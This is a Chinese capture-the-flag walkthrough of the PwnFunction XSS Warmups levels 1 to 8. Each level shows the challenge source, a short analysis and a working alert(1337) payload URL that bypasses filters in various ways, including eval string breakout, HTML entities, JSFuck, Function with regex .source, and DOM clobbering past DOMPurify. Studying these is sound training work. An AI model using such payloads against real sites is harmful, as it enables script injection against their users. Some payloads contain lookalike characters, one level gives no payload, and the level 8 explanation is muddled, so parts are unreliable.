Xss Game1-8关通关
Xss Game平台地址:Warmups
1,Ma Spaghet
要求是:
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
. - No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
. - Tested on Chrome.
源码:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
分析:利用 URL 参数注入 JavaScript:
靶场页面中有一个 <script> 标签,它会从 URL 的 searchParams 中获取 somebody 参数的值,并将其插入到 spaghet 元素的 innerHTML 中。
如果我们可以控制 somebody 参数的值,就可以注入任意 JavaScript 代码。
URL:https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=%3Cimg%20src=x%20οnerrοr=alert(1337)%3E
2.Jefff
源码:
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
分析:页面从 URL 的 searchParams 中获取 jeff 参数的值。
使用 eval 动态执行代码,将 jeff 的值插入到字符串 ma 中。
1 秒后,将 ma 的值设置为 maname 元素的 innerText。
漏洞点:
eval 函数会执行传入的任意 JavaScript 代码。
如果我们可以控制 jeff 参数的值,就可以注入恶意代码。
URL:https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=%22;alert(1337);//
3.Ugandan Knuckles
源码:
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
分析:页面从 URL 的 searchParams 中获取 wey 参数的值。
使用 replace 方法过滤掉 < 和 > 字符。
将 wey 的值插入到 input 标签的 placeholder 属性中。
漏洞点:
虽然 < 和 > 被过滤,但 placeholder 属性仍然可以被注入恶意代码。
可以通过闭合 placeholder 属性并插入 onfocus 事件来触发 alert(1337)。
URL:https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=%22%20οnfοcus=%22alert(1337)%22%20autofocus=%22
4.Ricardo Milos
源码:
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
分析:页面中有一个 form 表单,其 action 属性由 URL 的 searchParams 中的 ricardo 参数决定。
如果 ricardo 参数不存在,则 action 默认为 #。
2 秒后,表单会自动提交(ricardo.submit())。
漏洞点:
ricardo.action 的值直接来自 URL 参数,且没有进行任何过滤或转义。
如果我们可以控制 ricardo 参数的值,就可以将其设置为 javascript:alert(1337),从而在表单提交时触发弹窗。
URL:https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)
5.Ah That's Hawt
源码:
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
分析:页面从 URL 的 searchParams 中获取 markassbrownlee 参数的值。
使用 replace 方法过滤掉 (, `, ), 和 \ 字符。
将过滤后的值插入到 will 元素的 innerHTML 中。
利用 HTML 实体编码绕过过滤:
将 alert(1337) 转换为 HTML 实体编码。
例如:
a 的 HTML 实体编码是 a。
l 的 HTML 实体编码是 l。
e 的 HTML 实体编码是 e。
r 的 HTML 实体编码是 r。
t 的 HTML 实体编码是 t。
( 的 HTML 实体编码是 (。
1 的 HTML 实体编码是 1。
3 的 HTML 实体编码是 3。
7 的 HTML 实体编码是 7。
) 的 HTML 实体编码是 )。
URL:https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E
6.Ligma
源码:
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
分析:从 URL 的 searchParams 中获取 balls 参数的值。
使用 replace 方法过滤掉所有字母和数字([A-Za-z0-9])。
将过滤后的值传递给 eval 函数执行。
关键限制:
过滤了所有字母和数字,因此无法直接使用 alert(1337)。所以可以通过jsfuck进行编码,然后就没有数字以及字母,但因为其中的+号会被编译重空格,所以还应该在编译一次。
URL:Ligma | XSS Warmups
7.Mafia
源码:
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
分析:从 URL 的 searchParams 中获取 mafia 参数的值。
将 mafia 的值截取前 50 个字符。
使用 replace 方法过滤掉以下字符:`, ', ", +, -, !, \, [, `]``。
使用 replace 方法过滤掉 alert 字符串。
将过滤后的值传递给 eval 函数执行。
关键限制:
过滤了常见的特殊字符和 alert 字符串。
URL:https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
function 是 JavaScript 中定义函数的关键字。
Function 是 JavaScript 的内置构造函数。
它可以动态创建函数,并接受字符串形式的代码作为参数。
为什么 Function 可以弹出 1337,而 function 不行
Function 的动态性:
Function 可以动态创建函数,并执行传入的字符串代码。
即使 alert 被过滤,也可以通过字符串拼接或编码的方式绕过过滤。
function 的静态性:
function 是静态的语法结构,无法动态执行字符串代码。
如果 alert 被过滤,无法通过 function 绕过过滤。
/ALERT(1337)/.source:
/ALERT(1337)/ 是一个正则表达式。
.source 返回正则表达式的字符串形式,即 "ALERT(1337)"。
.toLowerCase():
将字符串转换为小写,得到 "alert(1337)"。
Function(...):
Function 是 JavaScript 的构造函数,用于动态创建函数。
Function('alert(1337)') 创建一个匿名函数,其内容为 alert(1337)。
():
立即调用该函数,触发 alert(1337)。
8.Ok, Boomer
源码:
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
分析:页面从 URL 的 searchParams 中获取 boomer 参数的值。
使用 DOMPurify.sanitize 对输入进行净化,防止 XSS 攻击。
将净化后的值插入到 boomer 元素的 innerHTML 中。
2 秒后调用 ok 函数。
关键限制:
DOMPurify.sanitize 是一个强大的 HTML 净化库,会过滤掉大部分 XSS 攻击向量。
URL:https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=mailto:alert(1337)%3E
利用 <a> 标签的默认行为:
通过注入一个 <a> 标签,并设置 href 为 mailto:alert(1337),你巧妙地利用了 mailto: 协议的执行机制。
当 setTimeout(ok, 2000) 执行时,浏览器会尝试调用 ok 的默认行为,从而触发 alert(1337)。
绕过 DOMPurify 的过滤:
DOMPurify 允许 <a> 标签的存在,但会过滤掉 href 属性中的危险内容。
由于 mailto: 协议是合法的,DOMPurify 不会过滤掉 mailto:alert(1337)。
无需用户交互:
通过 setTimeout(ok, 2000),页面加载后会自动触发弹窗,无需用户点击或操作。